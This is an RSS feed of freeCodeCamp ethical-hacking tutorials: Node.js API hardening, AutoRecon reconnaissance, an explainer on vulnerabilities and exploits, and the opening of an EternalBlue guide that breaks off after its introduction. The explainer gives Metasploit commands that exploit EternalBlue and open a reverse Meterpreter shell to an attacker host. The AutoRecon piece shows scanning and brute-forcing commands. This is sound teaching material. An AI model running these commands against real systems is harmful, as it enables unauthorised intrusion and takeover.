<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ ethicalhacking - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ ethicalhacking - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 25 May 2026 20:15:18 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/ethicalhacking/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Harden Your Node.js APIs – Security Best Practices ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little. Maybe you’ve heard about SQL injection, brute force attacks, or data leaks. But here’s the thing: it’s not just about big hacks. Even small gaps in yo... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-harden-your-nodejs-apis-security-best-practices/</link>
                <guid isPermaLink="false">680bb2b3917896a550779bcb</guid>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ injection attacks ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 25 Apr 2025 16:05:07 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597082780/c803850d-f482-4fcc-a744-4de8fd8a02d8.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve built an API with Node.js, chances are you’ve thought about security – at least a little.</p>
<p>Maybe you’ve heard about SQL injection, brute force attacks, or data leaks.</p>
<p>But here’s the thing: it’s not just about big hacks. Even small gaps in your API can lead to big problems. And no one wants to get that “your data’s been exposed” message.</p>
<p>In this article, I’ll walk you through seven ways to harden your Node.js API.</p>
<p>These are practical tips you can apply right away. I’ll keep the code examples simple and the language even simpler. Let’s get into it.</p>
<h2 id="heading-1-use-environment-variables"><strong>1. Use Environment Variables</strong></h2>
<p>Storing sensitive data like database credentials, API keys, or JWT secrets directly in your code is risky. If your code ends up in the wrong hands, so does everything else.</p>
<p>Instead, store this data in a <code>.env</code> file and use the <code>dotenv</code> package to access it:</p>
<pre><code class="lang-plaintext">require('dotenv').config();
</code></pre>
<pre><code class="lang-plaintext">const dbPassword = process.env.DB_PASSWORD;
</code></pre>
<p>Make sure you <strong>never</strong> commit your <code>.env</code> file. Add it to your <code>.gitignore</code> file to keep it private.</p>
<h2 id="heading-2-validate-all-input"><strong>2. Validate All Input</strong></h2>
<p>Attackers love user input.</p>
<p>If you don’t check what comes into your API, they’ll sneak in commands, inject code, or crash your app.</p>
<p>The best way to stop them is by validating every piece of input. Use a package like <code>Joi</code> or <code>zod</code> to define what your API expects:</p>
<pre><code class="lang-plaintext">const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().min(3).max(30).required(),
  password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{6,30}$')).required()
});
const { error } = schema.validate(req.body);
if (error) {
  return res.status(400).send(error.details[0].message);
}
</code></pre>
<p>In the above code, we have defined the exact data type the schema expects. This way, wrong data gets blocked before it reaches your logic or database.</p>
<h2 id="heading-3-rate-limit-your-endpoints"><strong>3. Rate Limit Your Endpoints</strong></h2>
<p>Bots and brute force attacks work by flooding your server with requests. Once your server reaches it limit, your API will crash.</p>
<p>Set a limit on how often a user can hit your API using middleware like <code>express-rate-limit</code> Here is an example.</p>
<pre><code class="lang-plaintext">const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);
</code></pre>
<p>The above code restricts API requests coming from an IP address to 100 per 15 minutes. This is like putting a speed bump in front of a runaway car.</p>
<h2 id="heading-4-always-use-https"><strong>4. Always Use HTTPS</strong></h2>
<p>HTTP sends data in plain text. That means anyone between your server and the user can read it. HTTPS encrypts everything. It’s not optional anymore.</p>
<p>If you’re using a platform like Heroku or Vercel, HTTPS is automatic. If you’re self-hosting, you can set it up with services like Let’s Encrypt.</p>
<p>Also, force HTTPS on all incoming traffic. You can use middleware like this:</p>
<pre><code class="lang-plaintext">app.use((req, res, next) =&gt; {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect('https://' + req.headers.host + req.url);
  }
  next();
});
</code></pre>
<p>Encrypt the ride. Always.</p>
<h2 id="heading-5-use-helmet-to-secure-http-headers"><strong>5. Use Helmet to Secure HTTP Headers</strong></h2>
<p>HTTP headers are key-value pairs sent in requests and responses over the web. They give extra information about what’s being sent – like who’s sending it, what type it is, how it should be handled, and more.</p>
<p>HTTP headers are small, but they can be powerful tools to protect your app. <code>Helmet</code> is a Node.js middleware that sets secure headers for you.</p>
<pre><code class="lang-plaintext">const helmet = require('helmet');
app.use(helmet());
</code></pre>
<p>Helmet helps prevent attacks like cross-site scripting (XSS), clickjacking, and others just by setting the right headers.</p>
<p>One line of code, a big step up in security.</p>
<h2 id="heading-6-sanitize-data-to-prevent-injection-attacks"><strong>6. Sanitize Data to Prevent Injection Attacks</strong></h2>
<p>Injection attacks happen when you blindly trust input and plug it into a command or query.</p>
<p>For example, an attacker might submit a piece of text that turns into a command in your database.</p>
<p>You should sanitize data before it gets to any sensitive function. Libraries like <code>express-mongo-sanitize</code> or <code>xss-clean</code> help clean up malicious input.</p>
<pre><code class="lang-plaintext">const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');

app.use(mongoSanitize());
app.use(xss());
</code></pre>
<p>This strips out dangerous characters and scripts that could do real damage.</p>
<h2 id="heading-7-use-strong-authentication-and-authorisation"><strong>7. Use Strong Authentication and Authorisation</strong></h2>
<p>Authentication is about knowing who the user is, and authorisation is about what they can do. You need both, and you need them to be strong.</p>
<p>Use JWT (JSON Web Tokens) or sessions to manage logged-in users. Here’s a quick JWT example:</p>
<pre><code class="lang-plaintext">const jwt = require('jsonwebtoken');

const token = jwt.sign({ id: user._id }, process.env.JWT_SECRET, {
  expiresIn: '1h'
});
</code></pre>
<p>Always verify the token before letting a user access protected routes:</p>
<pre><code class="lang-plaintext">const decoded = jwt.verify(token, process.env.JWT_SECRET);
</code></pre>
<p>And don’t forget roles. A user who can view data shouldn’t be able to delete it unless they’re supposed to.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Security isn’t just a feature – it’s a habit. You can’t do everything all at once, but you can start with a few key changes.</p>
<p>Use environment variables. Validate your inputs. Add rate limiting. Move to HTTPS. Install Helmet. Sanitize everything. Lock down your authentication.</p>
<p>Each of these steps is a small lock on a big door. The more you add, the harder it is for someone to break in. So take a little time now. Your future self and your users will thank you.</p>
<p><em>For more cybersecurity tutorials,</em> <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong><em>join our newsletter</em></strong></a><em>. To learn the basics of Offensive Cybersecurity, check out our</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><strong><em>Security Starter Course</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Automate Information Gathering for Ethical Hackers — AutoRecon Tutorial ]]>
                </title>
                <description>
                    <![CDATA[ When you’re doing a penetration test, your first job is to understand the target. Before you touch a single exploit or send a single payload, you need to know what services are running, what ports are open, what technologies are in play, and where th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-automate-information-gathering-for-ethical-hackers-autorecon-tutorial/</link>
                <guid isPermaLink="false">680a540ef12791f5c752af5e</guid>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information gathering ]]>
                    </category>
                
                    <category>
                        <![CDATA[ nmap ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 24 Apr 2025 15:09:02 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745507318904/b27dc949-dbbb-43c2-85e1-072f91f3971f.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>When you’re doing a penetration test, your first job is to understand the target.</p>
<p>Before you touch a single exploit or send a single payload, you need to know what services are running, what ports are open, what technologies are in play, and where the weak spots might be.</p>
<p>This phase is called <strong>reconnaissance</strong>. It can eat up hours – sometimes even days – if you’re doing it manually.</p>
<p>That’s where <a target="_blank" href="https://github.com/Tib3rius/AutoRecon"><strong>Autorecon</strong></a> comes in.</p>
<h2 id="heading-what-is-autorecon"><strong>What is AutoRecon?</strong></h2>
<p>Autorecon is a tool that automates most of the initial recon work. It’s not a magic box, but it’s close.</p>
<p>Autorecon takes a list of IPs or domain names and runs a series of predefined scans. Then it organizes the output neatly so you don’t waste time parsing through raw Nmap files or rerunning missed commands.</p>
<p>If you’re just starting out with pentesting – whether you’re on your first TryHackMe box or your tenth OSCP practice lab – Autorecon can save you a ton of time. Let’s break down how it works.</p>
<h2 id="heading-what-exactly-does-autorecon-do"><strong>What Exactly Does Autorecon Do?</strong></h2>
<p>At its core, Autorecon does three things:</p>
<ol>
<li><p><strong>Runs Nmap scans</strong> on each target IP or hostname.</p>
</li>
<li><p><strong>Identifies services</strong> running on open ports.</p>
</li>
<li><p><strong>Runs specific enumeration tools</strong> based on those services.</p>
</li>
</ol>
<p>Let’s say you run it against an IP that has ports 22 (SSH), 80 (HTTP), and 139/445 (SMB) open. Autorecon will:</p>
<ul>
<li><p>Use Nmap to check versions and scripts for each port.</p>
</li>
<li><p>Run <code>nikto</code> or <code>gobuster</code> on port 80.</p>
</li>
<li><p>Run <code>enum4linux</code> or <code>smbmap</code> on SMB.</p>
</li>
<li><p>Store everything in organized folders for later review.</p>
</li>
</ul>
<p>That’s what you’d do manually – but faster, cleaner, and without forgetting steps.</p>
<h2 id="heading-how-to-use-autorecon"><strong>How to Use Autorecon</strong></h2>
<p>Let’s walk through a quick example. Assume you have a target at <code>10.129.8.143</code>.</p>
<p>Here’s the basic command:</p>
<pre><code class="lang-plaintext">autorecon 10.129.8.143
</code></pre>
<p>That’s it. No flags, no extra setup. Autorecon takes care of the rest. To understand what is going on behind the scenes, let's add the verbosity <code>-v</code> flag.</p>
<p>Here is a sample result.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745145447038/9132b17d-417e-464b-894e-fb68256e88f8.webp" alt="Autorecon scan result" class="image--center mx-auto" width="1100" height="769" loading="lazy"></p>
<p>Behind the scenes, it creates a folder structure like this:</p>
<pre><code class="lang-plaintext">results/
├── 10.129.8.143/
│   ├── scans/
│   │   ├── nmap/
│   │   └── gobuster/
│   ├── reports/
│   └── notes.txt
</code></pre>
<p>You’ll find full Nmap outputs, service-specific tool results, and even a place to jot down your own observations. All ready to go.</p>
<p>If you want to scan multiple targets, just pass a list:</p>
<pre><code class="lang-plaintext">autorecon targets.txt
</code></pre>
<p>Once Autorecon completes a scan, go to the <code>results/&lt;IP&gt;/scans/</code> folder. Start with the Nmap outputs.</p>
<p>Look for open ports and services:</p>
<ul>
<li><p><strong>Port 80 open?</strong> Check <code>gobuster</code> and <code>nikto</code> outputs in the HTTP folder.</p>
</li>
<li><p><strong>SMB ports open?</strong> Look in the <code>enum4linux</code> and <code>smbmap</code> results to find shared drives or user info.</p>
</li>
<li><p><strong>FTP anonymous login allowed?</strong> Use that access to explore directories.</p>
</li>
</ul>
<p>These findings will give you the next steps – like browsing a web service, crafting a payload, or checking for known exploits.</p>
<h2 id="heading-why-its-a-big-deal-for-beginners"><strong>Why It’s a Big Deal for Beginners</strong></h2>
<p>If you’re new to pentesting, one of the hardest parts is remembering <em>everything</em> you’re supposed to check. You pop open a port, and you think:</p>
<ul>
<li><p>“Wait… Should I run <code>enum4linux</code> on this?”</p>
</li>
<li><p>“What was that flag for aggressive Nmap scanning again?”</p>
</li>
<li><p>“Did I already check this web service with <code>nikto</code>?”</p>
</li>
</ul>
<p>Autorecon takes that mental load off your shoulders. You can focus on analysis, not babysitting scans.</p>
<p>And here’s another benefit: it helps you <strong>learn the process</strong>.</p>
<p>While Autorecon automates recon, it <em>shows you every tool and command</em> it runs. You can open the raw output, read the flags, and understand <em>why</em> it ran those scans.</p>
<p>Example: You’ll see it runs <code>nmap -sV -sC</code> for version detection and scripts. This helps beginners understand which scans map to which services and why they matter.</p>
<p>As it runs, you’ll see all the tools and commands it’s using. You can look at the raw results, see what worked, and gradually build your own workflow.</p>
<h2 id="heading-what-it-scans-by-default"><strong>What It Scans (By Default)</strong></h2>
<p>Here’s a quick overview of what Autorecon runs based on port and service:</p>
<p><strong>Nmap</strong>:</p>
<ul>
<li><p>Quick scan</p>
</li>
<li><p>Full TCP port scan</p>
</li>
<li><p>Service/version detection</p>
</li>
<li><p>NSE scripts</p>
</li>
</ul>
<p><strong>HTTP/HTTPS</strong>:</p>
<ul>
<li><p><code>gobuster</code> (directory brute-forcing)</p>
</li>
<li><p><code>nikto</code> (vulnerability scanner)</p>
</li>
<li><p><code>whatweb</code> (tech detection)</p>
</li>
</ul>
<p><strong>SMB</strong>:</p>
<ul>
<li><p><code>enum4linux-ng</code></p>
</li>
<li><p><code>smbmap</code></p>
</li>
<li><p>Nmap SMB scripts</p>
</li>
</ul>
<p><strong>FTP</strong>:</p>
<ul>
<li><p>Anonymous login check</p>
</li>
<li><p>Nmap FTP scripts</p>
</li>
</ul>
<p><strong>SSH</strong>:</p>
<ul>
<li><p>Banner grab</p>
</li>
<li><p>SSH version check</p>
</li>
</ul>
<p>And that’s just a slice. It handles other services too, like MySQL, SNMP, SMTP, and even RPC.</p>
<h2 id="heading-when-autorecon-is-most-useful"><strong>When Autorecon Is Most Useful</strong></h2>
<p>Autorecon shines in certain situations:</p>
<ul>
<li><p><strong>Training labs</strong>: You get a clear view of your target with minimal setup.</p>
</li>
<li><p><strong>OSCP preparation</strong>: It runs the exact recon tools you’ll need to use on the OSCP exam.</p>
</li>
<li><p><strong>Time-limited pentests</strong>: When you need to hit multiple targets fast, Autorecon keeps your output consistent and saves you from retyping everything.</p>
</li>
</ul>
<p>But it’s not just about speed. It’s about being thorough. With manual scanning, it’s easy to miss something small. Autorecon doesn’t forget.</p>
<h2 id="heading-what-autorecon-doesnt-do"><strong>What Autorecon Doesn’t Do</strong></h2>
<p>Autorecon isn’t an exploit tool. It doesn’t hack anything for you. It doesn’t guess credentials or bypass login pages.</p>
<p>It’s focused purely on reconnaissance. That means you still have to:</p>
<ul>
<li><p>Review scan results</p>
</li>
<li><p>Analyze web services manually (for example, browse the site, test inputs)</p>
</li>
<li><p>Decide which exploits or payloads to run</p>
</li>
</ul>
<p>Also, it can be noisy. If you’re on a real engagement where stealth matters, some scans might raise alarms. In that case, you’d want to run more controlled commands manually.</p>
<h2 id="heading-tips-for-using-autorecon-effectively"><strong>Tips for Using Autorecon Effectively</strong></h2>
<p><strong>Use flags to control scans:</strong><br>To increase verbosity and skip previously scanned hosts:</p>
<pre><code class="lang-plaintext">autorecon -v --only-scans-dir 10.129.8.143
</code></pre>
<p><strong>Customize wordlists for better results:</strong><br>By default, Autorecon uses small wordlists. You can improve this:</p>
<pre><code class="lang-plaintext">autorecon --dirbuster.wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt 10.129.8.143
</code></pre>
<p>This makes directory brute-forcing more effective, especially on web targets.</p>
<p><strong>Don’t skip the output</strong>: Read the Nmap files, check the HTML reports. Tools don’t think like humans. You still have to connect the dots.</p>
<h2 id="heading-final-thoughts"><strong>Final Thoughts</strong></h2>
<p>Autorecon doesn’t replace your skills – but it helps supercharge them. Instead of spending 30 minutes typing out scan commands, you can run one command and start analyzing in minutes. This helps beginners stay focused, and it helps pros save time.</p>
<p>So if you’re tired of rerunning the same Nmap scans over and over, or you just want cleaner results and fewer mistakes, let Autorecon do the heavy lifting – so you can focus on the part that really matters: breaking stuff.</p>
<p><em>For more cybersecurity tutorials,</em> <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong><em>join our newsletter</em></strong></a><em>. To learn the basics of Offensive Cybersecurity, check out our</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><strong><em>Security Starter Course</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Understanding Vulnerabilities and Exploits for Ethical Hackers ]]>
                </title>
                <description>
                    <![CDATA[ Understanding vulnerabilities and exploits is crucial for anyone interested in cybersecurity. Let's learn what they are. What Are Vulnerabilities? A vulnerability is a flaw in software or hardware that attackers can exploit. These flaws can range fro... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/vulnerabilities-vs-exploits-for-ethical-hackers/</link>
                <guid isPermaLink="false">67eff5fe4b8a95f016459cda</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 04 Apr 2025 15:08:46 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743631883009/63a15afa-c901-4445-b646-cd9a4c44e964.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Understanding vulnerabilities and exploits is crucial for anyone interested in cybersecurity. Let's learn what they are.</p>
<h2 id="heading-what-are-vulnerabilities">What Are Vulnerabilities?</h2>
<p>A vulnerability is a flaw in software or hardware that attackers can exploit. These flaws can range from weak passwords to outdated software.</p>
<p>For example, if you use default credentials when setting up a web server, you are creating a vulnerability. Attackers can look up the default login details in documentation and gain access to your server.</p>
<p>One of the most common vulnerabilities is outdated software. If you neglect to update your systems, they become easy targets.</p>
<p>Security updates exist for a reason — they patch known vulnerabilities. If you don’t apply these updates, your system remains vulnerable to known attacks.</p>
<h2 id="heading-what-are-exploits">What are Exploits?</h2>
<p>An exploit is a technique or code that takes advantage of a vulnerability.</p>
<p>If an attacker finds a system with a weak password, they can use a brute-force attack to guess the password. In this case, the weak password is the vulnerability, and brute-forcing is the exploit.</p>
<p>In many cases, exploits are pre-written scripts that automate attacks. For example, an exploit for a vulnerable web application might allow an attacker to gain administrator access without a password.</p>
<p>Cybercriminals often share these exploits online, making it easy for even inexperienced attackers to compromise systems.</p>
<h2 id="heading-real-world-examples-of-vulnerabilities-and-exploits">Real-World Examples of Vulnerabilities and Exploits</h2>
<p>Several well-known vulnerabilities have led to massive cyberattacks. Here are a few examples:</p>
<h3 id="heading-eternalblue-and-wannacryhttpswwwhyprcomsecurity-encyclopediaeternalblue"><a target="_blank" href="https://www.hypr.com/security-encyclopedia/eternalblue"><strong>EternalBlue and WannaCry</strong></a></h3>
<p>EternalBlue was a Windows Server Message Block (SMB) protocol vulnerability.</p>
<p>Attackers exploited it to spread the WannaCry ransomware, which infected computers worldwide in 2017. This attack was so damaging because many organizations failed to update their Windows systems.</p>
<h3 id="heading-heartbleedhttpsenwikipediaorgwikiheartbleed"><a target="_blank" href="https://en.wikipedia.org/wiki/Heartbleed"><strong>Heartbleed</strong></a></h3>
<p>This was a vulnerability in OpenSSL, a widely used encryption library. Attackers could exploit Heartbleed to steal sensitive data from servers, including passwords and encryption keys.</p>
<h3 id="heading-bluekeephttpsenwikipediaorgwikibluekeep"><a target="_blank" href="https://en.wikipedia.org/wiki/BlueKeep"><strong>BlueKeep</strong></a></h3>
<p>BlueKeep was a vulnerability in the Remote Desktop Protocol (RDP) that allowed attackers to take full control of a system remotely. If exploited, it could let malware spread across networks without user interaction.</p>
<h2 id="heading-zero-day-exploits-the-most-dangerous-threat">Zero-Day Exploits: The Most Dangerous Threat</h2>
<p>A <strong>zero-day exploit</strong> targets a vulnerability that has no known patch.</p>
<p>This means that even the software developer is unaware of the flaw when an attacker discovers it. Zero-day exploits are particularly dangerous because they give attackers a head start before a fix is released.</p>
<p>For example, if a critical vulnerability is found in a popular operating system, cybercriminals can develop exploits before users have a chance to update their systems.</p>
<p>This makes it essential for companies and security teams to monitor for emerging threats and respond quickly.</p>
<h2 id="heading-where-do-vulnerabilities-and-exploits-get-published">Where Do Vulnerabilities and Exploits Get Published?</h2>
<p>There are public databases where vulnerabilities and exploits are documented. One such database is <a target="_blank" href="https://www.exploit-db.com/">Exploit Database (exploit-db.com)</a>.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*bmPxk_odUTUQRdy8kgnkhg.png" alt="Exploit DB" width="600" height="400" loading="lazy"></p>
<p>Security researchers and ethical hackers contribute to these databases by sharing details of known vulnerabilities and how they can be exploited.</p>
<p>If you scan a server and find that it’s running an old version of Apache, you can search for “Apache 2.7 vulnerabilities” on Exploit Database to see if any exploits exist. This is how security professionals check for risks in their systems.</p>
<p>However, malicious hackers also use these databases to find attack opportunities.</p>
<h2 id="heading-command-line-tools-for-finding-exploits">Command-Line Tools for Finding Exploits</h2>
<p>If you prefer working in a terminal, there’s a command-line alternative called <strong>SearchSploit</strong>. This tool allows you to search the Exploit Database without opening a web browser.</p>
<p>SearchSploit comes pre-installed in security-focused operating systems like Kali Linux and Parrot OS.</p>
<p>To use it, you simply type:</p>
<pre><code class="lang-plaintext">searchsploit eternalblue
</code></pre>
<p>This command will return a list of known exploits for the <strong>EternalBlue</strong> vulnerability.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*cVQJ0aaUeQnCqCH3YsJFkA.png" alt="Searchsploit results" width="600" height="400" loading="lazy"></p>
<p>But what if you don’t know the name of a specific vulnerability? SearchSploit allows you to search more broadly. You can list known vulnerabilities for a particular software or service by using keywords. For example, to check for vulnerabilities related to <strong>Apache</strong>, you can run:</p>
<pre><code class="lang-bash">searchsploit apache
</code></pre>
<p>This will display a list of exploits related to Apache servers.</p>
<p>Additionally, you can use the <strong>-w</strong> flag to open exploit references in a web browser:</p>
<pre><code class="lang-bash">searchsploit -w apache
</code></pre>
<p>SearchSploit is a powerful tool that helps you quickly find and test known vulnerabilities.</p>
<h2 id="heading-automating-exploitation-with-metasploit"><strong>Automating Exploitation with Metasploit</strong></h2>
<p>Finding and exploiting vulnerabilities manually can be time-consuming. This is where <strong>Metasploit</strong> comes in.</p>
<p>Metasploit is a powerful framework for penetration testing and security research. It automates many aspects of exploitation, from scanning for vulnerabilities to gaining access to a system.</p>
<p>Metasploit consists of:</p>
<ul>
<li><p><strong>Exploits</strong> – Code designed to take advantage of specific vulnerabilities.</p>
</li>
<li><p><strong>Payloads</strong> – Malicious code that runs on a target system after a successful exploit.</p>
</li>
<li><p><strong>Auxiliary Modules</strong> – Tools for scanning, fingerprinting, and reconnaissance.</p>
</li>
</ul>
<p>Let’s say an ethical hacker wants to test whether a machine is vulnerable to EternalBlue (MS17-010), a well-known Windows exploit.</p>
<h3 id="heading-step-1-open-metasploit"><strong>Step 1: Open Metasploit</strong></h3>
<p>First, launch the Metasploit Framework by running:</p>
<pre><code class="lang-bash">msfconsole
</code></pre>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*bJfYlcEtG8MCG5WCVfNPmQ.png" alt="Metasploit Console" width="600" height="400" loading="lazy"></p>
<h3 id="heading-step-2-search-for-the-eternalblue-exploit"><strong>Step 2: Search for the EternalBlue Exploit</strong></h3>
<p>To find available exploits, we can search within Metasploit:</p>
<pre><code class="lang-bash">search eternalblue
</code></pre>
<p>This returns a list of available modules related to EternalBlue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743732083488/f5fb1d50-516f-4a2a-913c-1fe74d9e249c.png" alt="Eternal blue search - Metasploit" class="image--center mx-auto" width="1608" height="1074" loading="lazy"></p>
<p>The main exploit module is:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<h3 id="heading-step-3-select-and-use-the-exploit"><strong>Step 3: Select and Use the Exploit</strong></h3>
<p>Now, they load the module:</p>
<pre><code class="lang-bash">use exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<h3 id="heading-step-4-set-the-target-ip-address"><strong>Step 4: Set the Target IP Address</strong></h3>
<p>The hacker sets the target machine’s IP address:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS 192.168.1.10
</code></pre>
<h3 id="heading-step-5-choose-a-payload"><strong>Step 5: Choose a Payload</strong></h3>
<p>They select a payload that will open a reverse shell on the target:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> PAYLOAD windows/x64/meterpreter/reverse_tcp
<span class="hljs-built_in">set</span> LHOST 192.168.1.5   <span class="hljs-comment"># The attacker's machine</span>
<span class="hljs-built_in">set</span> LPORT 4444          <span class="hljs-comment"># The port to listen on</span>
</code></pre>
<h3 id="heading-step-6-launch-the-exploit"><strong>Step 6: Launch the Exploit</strong></h3>
<p>Finally, they execute the attack:</p>
<pre><code class="lang-bash">exploit
</code></pre>
<p>If successful, this provides a <strong>Meterpreter shell</strong>, allowing full control over the target system.</p>
<p>Using Metasploit, an attacker can scan a system for vulnerabilities, select an exploit, choose a payload, and execute the attack — all in a few simple commands.</p>
<p>This is why both ethical hackers and cybercriminals widely use Metasploit. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a> if you’d like to know more about how you can use it as an ethical hacker.</p>
<h2 id="heading-how-to-stay-protected">How to Stay Protected?</h2>
<p>Understanding vulnerabilities and exploits is the first step in defending against cyber threats. Here are some key strategies to protect yourself:</p>
<ol>
<li><p><strong>Keep software updated</strong> — Install security patches as soon as they are released.</p>
</li>
<li><p><strong>Use strong passwords</strong> — Avoid using default or weak passwords. Implement multi-factor authentication (MFA) where possible.</p>
</li>
<li><p><strong>Scan your systems regularly</strong> — Use tools like Nessus or OpenVAS to check for vulnerabilities.</p>
</li>
<li><p><strong>Monitor exploit databases</strong> — Stay aware of new vulnerabilities that might affect your systems.</p>
</li>
<li><p><strong>Use security tools</strong> — Firewalls, intrusion detection systems, and endpoint security software can help prevent exploits from succeeding.</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Vulnerabilities are weaknesses in software or hardware, while exploits are the methods attackers use to take advantage of them. Some exploits are well-known and documented, while others, like zero-day attacks, appear suddenly and without warning.</p>
<p>By understanding how exploits work and staying vigilant with security updates, you can reduce the risk of becoming a target. Cybersecurity is an ongoing battle, and the best defense is staying informed and proactive.</p>
<p><a target="_blank" href="https://newsletter.stealthsecurity.sh/"><em>Join my weekly newsletter</em></a> <em>to get more cybersecurity tutorials delivered to you every Friday. To learn hands-on offensive cybersecurity in five days, check out my</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><em>Security Starter</em></a> <em>course.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Exploit the EternalBlue Vulnerability on Windows – A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue. This critical Windows exploit played a key role in the widespread WannaCry ransomware attack that affected systems in over 150 countries. In this ar... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-exploit-the-eternalblue-vulnerability-on-windows/</link>
                <guid isPermaLink="false">67d35b3cba576fa68285a197</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Exploitation ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit ]]>
                    </category>
                
                    <category>
                        <![CDATA[ metasploit framework ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerability ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 13 Mar 2025 22:25:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1737564552005/119beff1-e8fb-489c-931b-903421473464.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’ve followed cybersecurity news over the past few years, you’ve likely come across EternalBlue.</p>
<p>This critical Windows exploit played a key role in the widespread <a target="_blank" href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry ransomware</a> attack that affected systems in over 150 countries.</p>
<p>In this article, we’ll walk through how EternalBlue works, how to scan for it, and how to exploit it using Metasploit.</p>
<blockquote>
<p><strong><em>Note*</em></strong>: This is strictly for ethical hacking and penetration testing purposes on systems you own or have explicit permission to test. Do not use these tools on machines where you don’t have permission.*</p>
</blockquote>
<h2 id="heading-what-is-eternalblue"><strong>What Is EternalBlue?</strong></h2>
<p>EternalBlue is a dangerous computer exploit developed by the U.S. National Security Agency (NSA). In 2017, a hacking group called the Shadow Brokers leaked it online. Hackers quickly started using it to attack computers worldwide.</p>
<p>EternalBlue takes advantage of a weakness in Windows computers. This weakness is in the SMB (Server Message Block) protocol, which helps computers share files and printers over a network. By exploiting this flaw, hackers can break into a system without needing a password.</p>
